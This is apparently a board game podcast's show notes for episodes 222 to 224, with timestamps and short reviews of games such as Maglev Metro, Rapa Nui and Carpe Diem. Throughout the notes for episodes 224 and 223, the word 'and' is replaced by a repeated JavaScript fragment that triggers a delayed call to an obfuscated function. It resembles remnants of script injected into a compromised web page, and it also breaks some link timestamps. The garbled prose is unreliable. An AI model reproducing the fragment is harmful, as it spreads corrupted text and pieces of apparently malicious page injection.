RDTN Episode 224: Maglev Metro, Rapa Nui, In a Nutshell

00:00 Game Toppers
02:26 Vanessa Intro
02:57 Intro
07:36 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic-20210212-225ottvh4ngfjcho6qfixkqajy-story.html”>Baseball Card Resurgence
16:10 Pokemon 25th Anniversary
27:00 Valheim – We got no clue
29:22 Food Talk Again
34:50 Portal Games
37:49 Maglev Metro
50:32 Miniature Market
1:01:11 In a Nutshell
1:01:45 Warhammer Quest: Cursed City
1:08:50 Summoner Wars: Second Edition
1:11:13 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-monsters/?ref=kicktraq”>Meeples andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Monsters
1:14:42 Mosaic: A Story of Civilization
1:17:32 Rapa Nui
1:31:23 Outro

Only two games in the episode with a deep review? Well, we spent a bunch of time on them andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and didn’t want to just cram the episode full andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cut out important items we wanted to cover. Plus, there was some news to share with you that you might have missed, needed to make sure we covered those items as well.

Maglev Metro by Bezier Games is a pickup deliver game that enhances the actions you take as you play. You can modify the amount of a specific action you take. For instance, you want to build track, the more robots you put in this action, the more track you can build. And since there are a bunch of actions that all can be modified, you will shift much of your concentration away from building of tracks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stations to how to optimize those actions to help you score the points at the end of the game. So, if you are thinking why do I need another train pickup andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and deliver game, take a look at how you have to manipulate the actions to be successful in this game.

Rapa Nui is a mystery on how something so simple in mechanics can quickly become very strategic as you play. This game could be considered entry level due to those simple mechanics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and easy teach, but as you play, you will start seeing little nuggets of the strategy. Strategies such as claiming key locations on the map to gain resources while benefiting others. Thinking how to use other peoples locations to help you on your turn. Or strategically holding back in hopes that maybe next round you will benefit from someone else’s play during the current round.

Thanks for listening andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the next episode is our Squirrely’s

RDTN Episode 223: Carpe Diem, Royal Visit, Cloudage, Sagani, Block and Key

00:00 Intro
03:45 Cloudage
22:56 Valentine’s
26:00 Venus Flytrap
28:50 Window AC Removal
29:50 Stay in your lane, Bojangles
31:46 Coke vs Pepsi
33:25 Arkham LCG Expansions
50:36 Portal Games
53:14 Carpe Diem
1:04:08 Royal Visit
1:13:49 Miniature Market
1:17:31 Sagani
1:26:25 Outro

The wives come back andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and bail us out once again. Vanessa discusses her thoughts on the re-release of the game Royal Visit. Donna shares her opinion on the tile laying game Sagani.

We also talk about the game Carpe Diem which is in its third release. Sometimes you just need a game that is simple to play and it’s easy to get to the table. Not saying that the game isn’t strategic or thought provoking it’s just nice to keep things simple on gameplay.

Marty also convinces me that I need spent more money over at Kickstarter by talking about Block and strategic game. Unfortunately I missed out on the play of Cloudage but Marty definitely shares his thoughts and how that game went.

Thanks for listening and see you in a couple of weeks.

RDTN Episode 222: Meeple Land, Umbra Via, Fleet: The Dice Game, Flying Squirrels

00:28 Intro
09:20 No Luck at All
13:55 It’s your Birthday
19:02 Fleet: The Dice Game
21:15 Three Sisters Roll & Write
22:56 Long Shot – The Dice Game
24:20 Lasting Tails
27:32 Game Sales of 2020
30:07 Digital Games vs Physical Copies
35:41 Miniature Market
37:53 Rose Gauntlet
39:41 Star Trek Alliance
41:51 Roguebook on Steam
44:02 My City: Talk about Balance
46:07 Muppet Show on Disney+
48:12 Kickstarter Exclusive – Is it?
50:16 Portal Games
52:41 Meeple Land
1:07:54 Umbra Via
1:28:24 Outro

The wives joined the show to help us review games. Sometime getting together is difficult, so we are glad that are good sports and excited to see how it compares to Fleet: The Dice Game.

We also did a Flying Squirrels segment because we had some news and on about it. So, keep us to two minutes, that is a good way to eliminate the rambling.

Thanks for listening and be sure to vote in the 2021 Squirrely Awards